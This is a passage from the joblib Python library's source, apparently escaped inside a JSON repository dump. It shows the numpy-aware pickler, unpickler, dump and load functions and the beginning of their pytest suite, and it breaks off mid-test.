numpy.ndarray\n\n        \"\"\"\n        # When requested, only use memmap mode if allowed.\n        if unpickler.mmap_mode is not None and self.allow_mmap:\n            array = self.read_mmap(unpickler)\n        else:\n            array = self.read_array(unpickler, allow_pickle)\n\n        # Manage array subclass case\n        if (hasattr(array, '__array_prepare__') and\n            self.subclass not in (unpickler.np.ndarray,\n                                  unpickler.np.memmap)):\n            # We need to reconstruct another subclass\n            new_array = unpickler.np.core.multiarray._reconstruct(\n                self.subclass, (0,), 'b')\n            return new_array.__array_prepare__(array)\n        else:\n            return array\n\n###############################################################################\n# Pickler classes\n\n\nclass NumpyPickler(Pickler):\n    \"\"\"A pickler to persist big data efficiently.\n\n    The main features of this object are:\n    * persistence of numpy arrays in a single file.\n    * optional compression with a special care on avoiding memory copies.\n\n    Attributes\n    ----------\n    fp: file\n        File object handle used for serializing the input object.\n    protocol: int, optional\n        Pickle protocol used. Default is pickle.DEFAULT_PROTOCOL.\n    \"\"\"\n\n    dispatch = Pickler.dispatch.copy()\n\n    def __init__(self, fp, protocol=None):\n        self.file_handle = fp\n        self.buffered = isinstance(self.file_handle, BinaryZlibFile)\n\n        # By default we want a pickle protocol that only changes with\n        # the major python version and not the minor one\n        if protocol is None:\n            protocol = pickle.DEFAULT_PROTOCOL\n\n        Pickler.__init__(self, self.file_handle, protocol=protocol)\n        # delayed import of numpy, to avoid tight coupling\n        try:\n            import numpy as np\n        except ImportError:\n            np = None\n        self.np = np\n\n    def _create_array_wrapper(self, array):\n        \"\"\"Create and returns a numpy array wrapper from a numpy array.\"\"\"\n        order = 'F' if (array.flags.f_contiguous and\n                        not array.flags.c_contiguous) else 'C'\n        allow_mmap = not self.buffered and not array.dtype.hasobject\n\n        kwargs = {}\n        try:\n            self.file_handle.tell()\n        except io.UnsupportedOperation:\n            kwargs = {'numpy_array_alignment_bytes': None}\n\n        wrapper = NumpyArrayWrapper(type(array),\n                                    array.shape, order, array.dtype,\n                                    allow_mmap=allow_mmap,\n                                    **kwargs)\n\n        return wrapper\n\n    def save(self, obj):\n        \"\"\"Subclass the Pickler `save` method.\n\n        This is a total abuse of the Pickler class in order to use the numpy\n        persistence function `save` instead of the default pickle\n        implementation. The numpy array is replaced by a custom wrapper in the\n        pickle persistence stack and the serialized array is written right\n        after in the file. Warning: the file produced does not follow the\n        pickle format. As such it can not be read with `pickle.load`.\n        \"\"\"\n        if self.np is not None and type(obj) in (self.np.ndarray,\n                                                 self.np.matrix,\n                                                 self.np.memmap):\n            if type(obj) is self.np.memmap:\n                # Pickling doesn't work with memmapped arrays\n                obj = self.np.asanyarray(obj)\n\n            # The array wrapper is pickled instead of the real array.\n            wrapper = self._create_array_wrapper(obj)\n            Pickler.save(self, wrapper)\n\n            # A framer was introduced with pickle protocol 4 and we want to\n            # ensure the wrapper object is written before the numpy array\n            # buffer in the pickle file.\n            # See https://www.python.org/dev/peps/pep-3154/#framing to get\n            # more information on the framer behavior.\n            if self.proto >= 4:\n                self.framer.commit_frame(force=True)\n\n            # And then array bytes are written right after the wrapper.\n            wrapper.write_array(obj, self)\n            return\n\n        return Pickler.save(self, obj)\n\n\nclass NumpyUnpickler(Unpickler):\n    \"\"\"A subclass of the Unpickler to unpickle our numpy pickles.\n\n    Attributes\n    ----------\n    mmap_mode: str\n        The memorymap mode to use for reading numpy arrays.\n    file_handle: file_like\n        File object to unpickle from.\n    filename: str\n        Name of the file to unpickle from. It should correspond to file_handle.\n        This parameter is required when using mmap_mode.\n    np: module\n        Reference to numpy module if numpy is installed else None.\n    allow_pickle: bool\n        Determine if pickle.load is allowed on the wrapped array.\n        Default: False.\n\n    \"\"\"\n\n    dispatch = Unpickler.dispatch.copy()\n\n    def __init__(self, filename, file_handle, mmap_mode=None,\n                 allow_pickle=False):\n        # The next line is for backward compatibility with pickle generated\n        # with joblib versions less than 0.10.\n        self._dirname = os.path.dirname(filename)\n\n        self.mmap_mode = mmap_mode\n        self.allow_pickle = allow_pickle\n        self.file_handle = file_handle\n        # filename is required for numpy mmap mode.\n        self.filename = filename\n        self.compat_mode = False\n        Unpickler.__init__(self, self.file_handle)\n        try:\n            import numpy as np\n        except ImportError:\n            np = None\n        self.np = np\n\n    def load_build(self):\n        \"\"\"Called to set the state of a newly created object.\n\n        We capture it to replace our place-holder objects, NDArrayWrapper or\n        NumpyArrayWrapper, by the array we are interested in. We\n        replace them directly in the stack of pickler.\n        NDArrayWrapper is used for backward compatibility with joblib <= 0.9.\n        \"\"\"\n        Unpickler.load_build(self)\n\n        # For backward compatibility, we support NDArrayWrapper objects.\n        if isinstance(self.stack[-1], (NDArrayWrapper, NumpyArrayWrapper)):\n            if self.np is None:\n                raise ImportError(\"Trying to unpickle an ndarray, \"\n                                  \"but numpy didn't import correctly\")\n            array_wrapper = self.stack.pop()\n            # If any NDArrayWrapper is found, we switch to compatibility mode,\n            # this will be used to raise a DeprecationWarning to the user at\n            # the end of the unpickling.\n            if isinstance(array_wrapper, NDArrayWrapper):\n                self.compat_mode = True\n                data = array_wrapper.read(self)\n            else:\n                data = array_wrapper.read(self, allow_pickle=self.allow_pickle)\n\n            self.stack.append(data)\n\n    # Be careful to register our new method.\n    dispatch[pickle.BUILD[0]] = load_build\n\n\n###############################################################################\n# Utility functions\n\ndef dump(value, filename, compress=0, protocol=None, cache_size=None):\n    \"\"\"Persist an arbitrary Python object into one file.\n\n    Read more in the :ref:`User Guide <persistence>`.\n\n    Parameters\n    ----------\n    value: any Python object\n        The object to store to disk.\n    filename: str, pathlib.Path, or file object.\n        The file object or path of the file in which it is to be stored.\n        The compression method corresponding to one of the supported filename\n        extensions ('.z', '.gz', '.bz2', '.xz' or '.lzma') will be used\n        automatically.\n    compress: int from 0 to 9 or bool or 2-tuple, optional\n        Optional compression level for the data. 0 or False is no compression.\n        Higher value means more compression, but also slower read and\n        write times. Using a value of 3 is often a good compromise.\n        See the notes for more details.\n        If compress is True, the compression level used is 3.\n        If compress is a 2-tuple, the first element must correspond to a string\n        between supported compressors (e.g 'zlib', 'gzip', 'bz2', 'lzma'\n        'xz'), the second element must be an integer from 0 to 9, corresponding\n        to the compression level.\n    protocol: int, optional\n        Pickle protocol, see pickle.dump documentation for more details.\n    cache_size: positive int, optional\n        This option is deprecated in 0.10 and has no effect.\n\n    Returns\n    -------\n    filenames: list of strings\n        The list of file names in which the data is stored. If\n        compress is false, each array is stored in a different file.\n\n    See Also\n    --------\n    joblib.load : corresponding loader\n\n    Notes\n    -----\n    Memmapping on load cannot be used for compressed files. Thus\n    using compression can significantly slow down loading. In\n    addition, compressed files take up extra memory during\n    dump and load.\n\n    \"\"\"\n\n    if Path is not None and isinstance(filename, Path):\n        filename = str(filename)\n\n    is_filename = isinstance(filename, str)\n    is_fileobj = hasattr(filename, \"write\")\n\n    compress_method = 'zlib'  # zlib is the default compression method.\n    if compress is True:\n        # By default, if compress is enabled, we want the default compress\n        # level of the compressor.\n        compress_level = None\n    elif isinstance(compress, tuple):\n        # a 2-tuple was set in compress\n        if len(compress) != 2:\n            raise ValueError(\n                'Compress argument tuple should contain exactly 2 elements: '\n                '(compress method, compress level), you passed {}'\n                .format(compress))\n        compress_method, compress_level = compress\n    elif isinstance(compress, str):\n        compress_method = compress\n        compress_level = None  # Use default compress level\n        compress = (compress_method, compress_level)\n    else:\n        compress_level = compress\n\n    if compress_method == 'lz4' and lz4 is None:\n        raise ValueError(LZ4_NOT_INSTALLED_ERROR)\n\n    if (compress_level is not None and\n            compress_level is not False and\n            compress_level not in range(10)):\n        # Raising an error if a non valid compress level is given.\n        raise ValueError(\n            'Non valid compress level given: \"{}\". Possible values are '\n            '{}.'.format(compress_level, list(range(10))))\n\n    if compress_method not in _COMPRESSORS:\n        # Raising an error if an unsupported compression method is given.\n        raise ValueError(\n            'Non valid compression method given: \"{}\". Possible values are '\n            '{}.'.format(compress_method, _COMPRESSORS))\n\n    if not is_filename and not is_fileobj:\n        # People keep inverting arguments, and the resulting error is\n        # incomprehensible\n        raise ValueError(\n            'Second argument should be a filename or a file-like object, '\n            '%s (type %s) was given.'\n            % (filename, type(filename))\n        )\n\n    if is_filename and not isinstance(compress, tuple):\n        # In case no explicit compression was requested using both compression\n        # method and level in a tuple and the filename has an explicit\n        # extension, we select the corresponding compressor.\n\n        # unset the variable to be sure no compression level is set afterwards.\n        compress_method = None\n        for name, compressor in _COMPRESSORS.items():\n            if filename.endswith(compressor.extension):\n                compress_method = name\n\n        if compress_method in _COMPRESSORS and compress_level == 0:\n            # we choose the default compress_level in case it was not given\n            # as an argument (using compress).\n            compress_level = None\n\n    if cache_size is not None:\n        # Cache size is deprecated starting from version 0.10\n        warnings.warn(\"Please do not set 'cache_size' in joblib.dump, \"\n                      \"this parameter has no effect and will be removed. \"\n                      \"You used 'cache_size={}'\".format(cache_size),\n                      DeprecationWarning, stacklevel=2)\n\n    if compress_level != 0:\n        with _write_fileobject(filename, compress=(compress_method,\n                                                   compress_level)) as f:\n            NumpyPickler(f, protocol=protocol).dump(value)\n    elif is_filename:\n        with open(filename, 'wb') as f:\n            NumpyPickler(f, protocol=protocol).dump(value)\n    else:\n        NumpyPickler(filename, protocol=protocol).dump(value)\n\n    # If the target container is a file object, nothing is returned.\n    if is_fileobj:\n        return\n\n    # For compatibility, the list of created filenames (e.g with one element\n    # after 0.10.0) is returned by default.\n    return [filename]\n\n\ndef _unpickle(fobj, filename=\"\", mmap_mode=None, allow_pickle=False):\n    \"\"\"Internal unpickling function.\"\"\"\n    # We are careful to open the file handle early and keep it open to\n    # avoid race-conditions on renames.\n    # That said, if data is stored in companion files, which can be\n    # the case with the old persistence format, moving the directory\n    # will create a race when joblib tries to access the companion\n    # files.\n    unpickler = NumpyUnpickler(filename, fobj, mmap_mode=mmap_mode,\n                               allow_pickle=allow_pickle)\n    obj = None\n    try:\n        obj = unpickler.load()\n        if unpickler.compat_mode:\n            warnings.warn(\"The file '%s' has been generated with a \"\n                          \"joblib version less than 0.10. \"\n                          \"Please regenerate this pickle file.\"\n                          % filename,\n                          DeprecationWarning, stacklevel=3)\n    except UnicodeDecodeError as exc:\n        # More user-friendly error message\n        new_exc = ValueError(\n            'You may be trying to read with '\n            'python 3 a joblib pickle generated with python 2. '\n            'This feature is not supported by joblib.')\n        new_exc.__cause__ = exc\n        raise new_exc\n    return obj\n\n\ndef load_temporary_memmap(filename, mmap_mode, unlink_on_gc_collect):\n    from ._memmapping_reducer import JOBLIB_MMAPS, add_maybe_unlink_finalizer\n    obj = load(filename, mmap_mode)\n    JOBLIB_MMAPS.add(obj.filename)\n    if unlink_on_gc_collect:\n        add_maybe_unlink_finalizer(obj)\n    return obj\n\n\ndef load(filename, mmap_mode=None, allow_pickle=False):\n    \"\"\"Reconstruct a Python object from a file persisted with joblib.dump.\n\n    Read more in the :ref:`User Guide <persistence>`.\n\n    WARNING: joblib.load relies on the pickle module and can therefore\n    execute arbitrary Python code. It should therefore never be used\n    to load files from untrusted sources.\n\n    Parameters\n    ----------\n    filename: str, pathlib.Path, or file object.\n        The file object or path of the file from which to load the object\n    mmap_mode: {None, 'r+', 'r', 'w+', 'c'}, optional\n        If not None, the arrays are memory-mapped from the disk. This\n        mode has no effect for compressed files. Note that in this\n        case the reconstructed object might no longer match exactly\n        the originally pickled object.\n    allow_pickle: bool\n        Determine if pickle.load is allowed on the wrapped array.\n        Default: False.\n\n    Returns\n    -------\n    result: any Python object\n        The object stored in the file.\n\n    See Also\n    --------\n    joblib.dump : function to save an object\n\n    Notes\n    -----\n\n    This function can load numpy array files saved separately during the\n    dump. If the mmap_mode argument is given, it is passed to np.load and\n    arrays are loaded as memmaps. As a consequence, the reconstructed\n    object might not match the original pickled object. Note that if the\n    file was saved with compression, the arrays cannot be memmapped.\n    \"\"\"\n    if Path is not None and isinstance(filename, Path):\n        filename = str(filename)\n\n    if hasattr(filename, \"read\"):\n        fobj = filename\n        filename = getattr(fobj, 'name', '')\n        with _read_fileobject(fobj, filename, mmap_mode) as fobj:\n            obj = _unpickle(fobj, allow_pickle=allow_pickle)\n    else:\n        with open(filename, 'rb') as f:\n            with _read_fileobject(f, filename, mmap_mode) as fobj:\n                if isinstance(fobj, str):\n                    # if the returned file object is a string, this means we\n                    # try to load a pickle file generated with an version of\n                    # Joblib so we load it with joblib compatibility function.\n                    return load_compatibility(fobj)\n\n                obj = _unpickle(fobj, filename, mmap_mode,\n                                allow_pickle)\n    return obj\n", "joblib/test/test_numpy_pickle.py": "\"\"\"Test the numpy pickler as a replacement of the standard pickler.\"\"\"\n\nimport copy\nimport os\nimport random\nimport re\nimport io\nimport sys\nimport warnings\nimport gzip\nimport zlib\nimport bz2\nimport pickle\nimport socket\nfrom contextlib import closing\nimport mmap\nfrom pathlib import Path\n\ntry:\n    import lzma\nexcept ImportError:\n    lzma = None\n\nimport pytest\n\nfrom joblib.test.common import np, with_numpy, with_lz4, without_lz4\nfrom joblib.test.common import with_memory_profiler, memory_used\nfrom joblib.testing import parametrize, raises, warns\n\n# numpy_pickle is not a drop-in replacement of pickle, as it takes\n# filenames instead of open files as arguments.\nfrom joblib import numpy_pickle, register_compressor\nfrom joblib.test import data\n\nfrom joblib.numpy_pickle_utils import _IO_BUFFER_SIZE\nfrom joblib.numpy_pickle_utils import _detect_compressor\nfrom joblib.numpy_pickle_utils import _is_numpy_array_byte_order_mismatch\nfrom joblib.numpy_pickle_utils import _ensure_native_byte_order\nfrom joblib.compressor import (_COMPRESSORS, _LZ4_PREFIX, CompressorWrapper,\n                               LZ4_NOT_INSTALLED_ERROR, BinaryZlibFile)\n\n\n###############################################################################\n# Define a list of standard types.\n# Borrowed from dill, initial author: Micheal McKerns:\n# http://dev.danse.us/trac/pathos/browser/dill/dill_test2.py\n\ntypelist = []\n\n# testing types\n_none = None\ntypelist.append(_none)\n_type = type\ntypelist.append(_type)\n_bool = bool(1)\ntypelist.append(_bool)\n_int = int(1)\ntypelist.append(_int)\n_float = float(1)\ntypelist.append(_float)\n_complex = complex(1)\ntypelist.append(_complex)\n_string = str(1)\ntypelist.append(_string)\n_tuple = ()\ntypelist.append(_tuple)\n_list = []\ntypelist.append(_list)\n_dict = {}\ntypelist.append(_dict)\n_builtin = len\ntypelist.append(_builtin)\n\n\ndef _function(x):\n    yield x\n\n\nclass _class:\n    def _method(self):\n        pass\n\n\nclass _newclass(object):\n    def _method(self):\n        pass\n\n\ntypelist.append(_function)\ntypelist.append(_class)\ntypelist.append(_newclass)  # <type 'type'>\n_instance = _class()\ntypelist.append(_instance)\n_object = _newclass()\ntypelist.append(_object)  # <type 'class'>\n\n\n###############################################################################\n# Tests\n\n@parametrize('compress', [0, 1])\n@parametrize('member', typelist)\ndef test_standard_types(tmpdir, compress, member):\n    # Test pickling and saving with standard types.\n    filename = tmpdir.join('test.pkl').strpath\n    numpy_pickle.dump(member, filename, compress=compress)\n    _member = numpy_pickle.load(filename)\n    # We compare the pickled instance to the reloaded one only if it\n    # can be compared to a copied one\n    if member == copy.deepcopy(member):\n        assert member == _member\n\n\ndef test_value_error():\n    # Test inverting the input arguments to dump\n    with raises(ValueError):\n        numpy_pickle.dump('foo', dict())\n\n\n@parametrize('wrong_compress', [-1, 10, dict()])\ndef test_compress_level_error(wrong_compress):\n    # Verify that passing an invalid compress argument raises an error.\n    exception_msg = ('Non valid compress level given: '\n                     '\"{0}\"'.format(wrong_compress))\n    with raises(ValueError) as excinfo:\n        numpy_pickle.dump('dummy', 'foo', compress=wrong_compress)\n    excinfo.match(exception_msg)\n\n\n@with_numpy\n@parametrize('compress', [False, True, 0, 3, 'zlib'])\ndef test_numpy_persistence(tmpdir, compress):\n    filename = tmpdir.join('test.pkl').strpath\n    rnd = np.random.RandomState(0)\n    a = rnd.random_sample((10, 2))\n    # We use 'a.T' to have a non C-contiguous array.\n    for index, obj in enumerate(((a,), (a.T,), (a, a), [a, a, a])):\n        filenames = numpy_pickle.dump(obj, filename, compress=compress)\n\n        # All is cached in one file\n        assert len(filenames) == 1\n        # Check that only one file was created\n        assert filenames[0] == filename\n        # Check that this file does exist\n        assert os.path.exists(filenames[0])\n\n        # Unpickle the object\n        obj_ = numpy_pickle.load(filename)\n        # Check that the items are indeed arrays\n        for item in obj_:\n            assert isinstance(item, np.ndarray)\n        # And finally, check that all the values are equal.\n        np.testing.assert_array_equal(np.array(obj), np.array(obj_))\n\n    # Now test with an array subclass\n    obj = np.memmap(filename + 'mmap', mode='w+', shape=4, dtype=np.float64)\n    filenames = numpy_pickle.dump(obj, filename, compress=compress)\n    # All is cached in one file\n    assert len(filenames) == 1\n\n    obj_ = numpy_pickle.load(filename)\n    if (type(obj) is not np.memmap and\n            hasattr(obj, '__array_prepare__')):\n        # We don't reconstruct memmaps\n        assert isinstance(obj_, type(obj))\n\n    np.testing.assert_array_equal(obj_, obj)\n\n    # Test with an object containing multiple numpy arrays\n    obj = ComplexTestObject()\n    filenames = numpy_pickle.dump(obj, filename, compress=compress)\n    # All is cached in one file\n    assert len(filenames) == 1\n\n    obj_loaded = numpy_pickle.load(filename, allow_pickle=True)\n    assert isinstance(obj_loaded, type(obj))\n    np.testing.assert_array_equal(obj_loaded.array_float, obj.array_float)\n    np.testing.assert_array_equal(obj_loaded.array_int, obj.array_int)\n    np.testing.assert_array_equal(obj_loaded.array_obj, obj.array_obj)\n\n\n@with_numpy\ndef test_numpy_persistence_bufferred_array_compression(tmpdir):\n    big_array = np.ones((_IO_BUFFER_SIZE + 100), dtype=np.uint8)\n    filename = tmpdir.join('test.pkl').strpath\n    numpy_pickle.dump(big_array, filename, compress=True)\n    arr_reloaded = numpy_pickle.load(filename)\n\n    np.testing.assert_array_equal(big_array, arr_reloaded)\n\n\n@with_numpy\ndef test_memmap_persistence(tmpdir):\n    rnd = np.random.RandomState(0)\n    a = rnd.random_sample(10)\n    filename = tmpdir.join('test1.pkl').strpath\n    numpy_pickle.dump(a, filename)\n    b = numpy_pickle.load(filename, mmap_mode='r')\n\n    assert isinstance(b, np.memmap)\n\n    # Test with an object containing multiple numpy arrays\n    filename = tmpdir.join('test2.pkl').strpath\n    obj = ComplexTestObject()\n    numpy_pickle.dump(obj, filename)\n    obj_loaded = numpy_pickle.load(filename, mmap_mode='r',\n                                   allow_pickle=True)\n    assert isinstance(obj_loaded, type(obj))\n    assert isinstance(obj_loaded.array_float, np.memmap)\n    assert not obj_loaded.array_float.flags.writeable\n    assert isinstance(obj_loaded.array_int, np.memmap)\n    assert not obj_loaded.array_int.flags.writeable\n    # Memory map not allowed for numpy object arrays\n    assert not isinstance(obj_loaded.array_obj, np.memmap)\n    np.testing.assert_array_equal(obj_loaded.array_float,\n                                  obj.array_float)\n    np.testing.assert_array_equal(obj_loaded.array_int,\n                                  obj.array_int)\n    np.testing.assert_array_equal(obj_loaded.array_obj,\n                                  obj.array_obj)\n\n    # Test we can write in memmapped arrays\n    obj_loaded = numpy_pickle.load(filename, mmap_mode='r+',\n                                   allow_pickle=True)\n    assert obj_loaded.array_float.flags.writeable\n    obj_loaded.array_float[0:10] = 10.0\n    assert obj_loaded.array_int.flags.writeable\n    obj_loaded.array_int[0:10] = 10\n\n    obj_reloaded = numpy_pickle.load(filename, mmap_mode='r',\n                                     allow_pickle=True)\n    np.testing.assert_array_equal(obj_reloaded.array_float,\n                                  obj_loaded.array_float)\n    np.testing.assert_array_equal(obj_reloaded.array_int,\n                                  obj_loaded.array_int)\n\n    # Test w+ mode is caught and the mode has switched to r+\n    numpy_pickle.load(filename, mmap_mode='w+', allow_pickle=True)\n    assert obj_loaded.array_int.flags.writeable\n    assert obj_loaded.array_int.mode == 'r+'\n    assert obj_loaded.array_float.flags.writeable\n    assert obj_loaded.array_float.mode == 'r+'\n\n\n@with_numpy\ndef test_memmap_persistence_mixed_dtypes(tmpdir):\n    # loading datastructures that have sub-arrays with dtype=object\n    # should not prevent memmapping on fixed size dtype sub-arrays.\n    rnd = np.random.RandomState(0)\n    a = rnd.random_sample(10)\n    b = np.array([1, 'b'], dtype=object)\n    construct = (a, b)\n    filename = tmpdir.join('test.pkl').strpath\n    numpy_pickle.dump(construct, filename)\n    a_clone, b_clone = numpy_pickle.load(filename, mmap_mode='r',\n                                         allow_pickle=True)\n\n    # the floating point array has been memory mapped\n    assert isinstance(a_clone, np.memmap)\n\n    # the object-dtype array has been loaded in memory\n    assert not isinstance(b_clone, np.memmap)\n\n\n@with_numpy\ndef test_masked_array_persistence(tmpdir):\n    # The special-case picker fails, because saving masked_array\n    # not implemented, but it just delegates to the standard pickler.\n    rnd = np.random.RandomState(0)\n    a = rnd.random_sample(10)\n    a = np.ma.masked_greater(a, 0.5)\n    filename = tmpdir.join('test.pkl').strpath\n    numpy_pickle.dump(a, filename)\n    b = numpy_pickle.load(filename, mmap_mode='r')\n    assert isinstance(b, np.ma.masked_array)\n\n\n@with_numpy\ndef test_compress_mmap_mode_warning(tmpdir):\n    # Test the warning in case of compress + mmap_mode\n    rnd = np.random.RandomState(0)\n    a = rnd.random_sample(10)\n    this_filename = tmpdir.join('test.pkl').strpath\n    numpy_pickle.dump(a, this_filename, compress=1)\n    with warns(UserWarning) as warninfo:\n        numpy_pickle.load(this_filename, mmap_mode='r+')\n    debug_msg = \"\\n\".join([str(w) for w in warninfo])\n    warninfo = [w.message for w in warninfo]\n    assert len(warninfo) == 1, debug_msg\n    assert (\n        str(warninfo[0]) ==\n        'mmap_mode \"r+\" is not compatible with compressed '\n        f'file {this_filename}. \"r+\" flag will be ignored.'\n    )\n\n\n@with_numpy\n@parametrize('cache_size', [None, 0, 10])\ndef test_cache_size_warning(tmpdir, cache_size):\n    # Check deprecation warning raised when cache size is not None\n    filename = tmpdir.join('test.pkl').strpath\n    rnd = np.random.RandomState(0)\n    a = rnd.random_sample((10, 2))\n\n    warnings.simplefilter(\"always\")\n    with warnings.catch_warnings(record=True) as warninfo:\n        numpy_pickle.dump(a, filename, cache_size=cache_size)\n    expected_nb_warnings = 1 if cache_size is not None else 0\n    assert len(warninfo) == expected_nb_warnings\n    for w in warninfo:\n        assert w.category == DeprecationWarning\n        assert (str(w.message) ==\n                \"Please do not set 'cache_size' in joblib.dump, this \"\n                \"parameter has no effect and will be removed. You \"\n                \"used 'cache_size={0}'\".format(cache_size))\n\n\n@with_numpy\n@with_memory_profiler\n@parametrize('compress', [True, False])\ndef test_memory_usage(tmpdir, compress):\n    # Verify memory stays within expected bounds.\n    filename = tmpdir.join('test.pkl').strpath\n    small_array = np.ones((10, 10))\n    big_array = np.ones(shape=100 * int(1e6), dtype=np.uint8)\n\n    for obj in (small_array, big_array):\n        size = obj.nbytes / 1e6\n        obj_filename = filename + str(np.random.randint(0, 1000))\n        mem_used = memory_used(numpy_pickle.dump,\n                               obj, obj_filename, compress=compress)\n\n        # The memory used to dump the object shouldn't exceed the buffer\n        # size used to write array chunks (16MB).\n        write_buf_size = _IO_BUFFER_SIZE + 16 * 1024 ** 2 / 1e6\n        assert mem_used <= write_buf_size\n\n        mem_used = memory_used(numpy_pickle.load, obj_filename)\n        # memory used should be less than array size + buffer size used to\n        # read the array chunk by chunk.\n        read_buf_size = 32 + _IO_BUFFER_SIZE  # MiB\n        assert mem_used < size + read_buf_size\n\n\n@with_numpy\ndef test_compressed_pickle_dump_and_load(tmpdir):\n    expected_list = [np.arange(5, dtype=np.dtype('<i8')),\n                     np.arange(5, dtype=np.dtype('>i8')),\n                     np.arange(5, dtype=np.dtype('<f8')),\n                     np.arange(5, dtype=np.dtype('>f8')),\n                     np.array([1, 'abc', {'a': 1, 'b': 2}], dtype='O'),\n                     np.arange(256, dtype=np.uint8).tobytes(),\n                     u\"C'est l'\\xe9t\\xe9 !\"]\n\n    fname = tmpdir.join('temp.pkl.gz').strpath\n\n    dumped_filenames = numpy_pickle.dump(expected_list, fname, compress=1)\n    assert len(dumped_filenames) == 1\n    result_list = numpy_pickle.load(fname, allow_pickle=True)\n    for result, expected in zip(result_list, expected_list):\n        if isinstance(expected, np.ndarray):\n            expected = _ensure_native_byte_order(expected)\n            assert result.dtype == expected.dtype\n            np.testing.assert_equal(result, expected)\n        else:\n            assert result == expected\n\n\ndef _check_pickle(filename, expected_list, mmap_mode=None):\n    \"\"\"Helper function to test joblib pickle content.\n\n    Note: currently only pickles containing an iterable are supported\n    by this function.\n    \"\"\"\n    version_match = re.match(r'.+py(\\d)(\\d).+', filename)\n    py_version_used_for_writing = int(version_match.group(1))\n\n    py_version_to_default_pickle_protocol = {2: 2, 3: 3}\n    pickle_reading_protocol = py_version_to_default_pickle_protocol.get(3, 4)\n    pickle_writing_protocol = py_version_to_default_pickle_protocol.get(\n        py_version_used_for_writing, 4)\n    if pickle_reading_protocol >= pickle_writing_protocol:\n        try:\n            with warnings.catch_warnings(record=True) as warninfo:\n                warnings.simplefilter('always')\n                warnings.filterwarnings(\n                    'ignore', module='numpy',\n                    message='The compiler package is deprecated')\n                result_list = numpy_pickle.load(filename,\n                                                mmap_mode=mmap_mode,\n                                                allow_pickle=True)\n            filename_base = os.path.basename(filename)\n            expected_nb_deprecation_warnings = 1 if (\n                \"_0.9\" in filename_base or \"_0.8.4\" in filename_base) else 0\n\n            expected_nb_user_warnings = 3 if (\n                re.search(\"_0.1.+.pkl$\", filename_base) and\n                mmap_mode is not None) else 0\n            expected_nb_warnings = \\\n                expected_nb_deprecation_warnings + expected_nb_user_warnings\n            assert len(warninfo) == expected_nb_warnings\n\n            deprecation_warnings = [\n                w for w in warninfo if issubclass(\n                    w.category, DeprecationWarning)]\n            user_warnings = [\n                w for w in warninfo if issubclass(\n                    w.category, UserWarning)]\n            for w in deprecation_warnings:\n                assert (str(w.message) ==\n                        \"The file '{0}' has been generated with a joblib \"\n                        \"version less than 0.10. Please regenerate this \"\n                        \"pickle file.\".format(filename))\n\n            for w in user_warnings:\n                escaped_filename = re.escape(filename)\n                assert re.search(\n                    f\"memmapped.+{escaped_filename}.+segmentation fault\",\n                    str(w.message))\n\n            for result, expected in zip(result_list, expected_list):\n                if isinstance(expected, np.ndarray):\n                    expected = _ensure_native_byte_order(expected)\n                    assert result.dtype == expected.dtype\n                    np.testing.assert_equal(result, expected)\n                else:\n                    assert result == expected\n        except Exception as exc:\n            # When trying to read with python 3 a pickle generated\n            # with python 2 we expect a user-friendly error\n            if py_version_used_for_writing == 2:\n                assert isinstance(exc, ValueError)\n                message = ('You may be trying to read with '\n                           'python 3 a joblib pickle generated with python 2.')\n                assert message in str(exc)\n            elif filename.endswith('.lz4') and with_lz4.args[0]:\n                assert isinstance(exc, ValueError)\n                assert LZ4_NOT_INSTALLED_ERROR in str(exc)\n            else:\n                raise\n    else:\n        # Pickle protocol used for writing is too high. We expect a\n        # \"unsupported pickle protocol\" error message\n        try:\n            numpy_pickle.load(filename)\n            raise AssertionError('Numpy pickle loading should '\n                                 'have raised a ValueError exception')\n        except ValueError as e:\n            message = 'unsupported pickle protocol: {0}'.format(\n                pickle_writing_protocol)\n            assert message in str(e.args)\n\n\n@with_numpy\ndef test_joblib_pickle_across_python_versions():\n    # We need to be specific about dtypes in particular endianness\n    # because the pickles can be generated on one architecture and\n    # the tests run on another one. See\n    # https://github.com/joblib/joblib/issues/279.\n    expected_list = [np.arange(5, dtype=np.dtype('<i8')),\n                     np.arange(5, dtype=np.dtype('<f8')),\n                     np.array([1, 'abc', {'a': 1, 'b': 2}], dtype='O'),\n                     np.arange(256, dtype=np.uint8).tobytes(),\n                     # np.matrix is a subclass of np.ndarray, here we want\n                     # to verify this type of object is correctly unpickled\n                     # among versions.\n                     np.matrix([0, 1, 2], dtype=np.dtype('<i8')),\n                     u\"C'est l'\\xe9t\\xe9 !\"]\n\n    # Testing all the compressed and non compressed\n    # pickles in joblib/test/data. These pickles were generated by\n    # the joblib/test/data/create_numpy_pickle.py script for the\n    # relevant python, joblib and numpy versions.\n    test_data_dir = os.path.dirname(os.path.abspath(data.__file__))\n\n    pickle_extensions = ('.pkl', '.gz', '.gzip', '.bz2', 'lz4')\n    if lzma is not None:\n        pickle_extensions += ('.xz', '.lzma')\n    pickle_filenames = [os.path.join(test_data_dir, fn)\n                        for fn in os.listdir(test_data_dir)\n                        if any(fn.endswith(ext) for ext in pickle_extensions)]\n\n    for fname in pickle_filenames:\n        _check_pickle(fname, expected_list)\n\n\n@with_numpy\ndef test_joblib_pickle_across_python_versions_with_mmap():\n    expected_list = [np.arange(5, dtype=np.dtype('<i8')),\n                     np.arange(5, dtype=np.dtype('<f8')),\n                     np.array([1, 'abc', {'a': 1, 'b': 2}], dtype='O'),\n                     np.arange(256, dtype=np.uint8).tobytes(),\n                     # np.matrix is a subclass of np.ndarray, here we want\n                     # to verify this type of object is correctly unpickled\n                     # among versions.\n                     np.matrix([0, 1, 2], dtype=np.dtype('<i8')),\n                     u\"C'est l'\\xe9t\\xe9 !\"]\n\n    test_data_dir = os.path.dirname(os.path.abspath(data.__file__))\n\n    pickle_filenames = [\n        os.path.join(test_data_dir, fn)\n        for fn in os.listdir(test_data_dir) if fn.endswith('.pkl')]\n    for fname in pickle_filenames:\n        _check_pickle(fname, expected_list, mmap_mode='r')\n\n\n@with_numpy\ndef test_numpy_array_byte_order_mismatch_detection():\n    # List of numpy arrays with big endian byteorder.\n    be_arrays = [np.array([(1, 2.0), (3, 4.0)],\n                          dtype=[('', '>i8'), ('', '>f8')]),\n                 np.arange(3, dtype=np.dtype('>i8')),\n                 np.arange(3, dtype=np.dtype('>f8'))]\n\n    # Verify the byteorder mismatch is correctly detected.\n    for array in be_arrays:\n        if sys.byteorder == 'big':\n            assert not _is_numpy_array_byte_order_mismatch(array)\n        else:\n            assert _is_numpy_array_byte_order_mismatch(array)\n        converted = _ensure_native_byte_order(array)\n        if converted.dtype.fields:\n            for f in converted.dtype.fields.values():\n                f[0].byteorder == '='\n        else:\n            assert 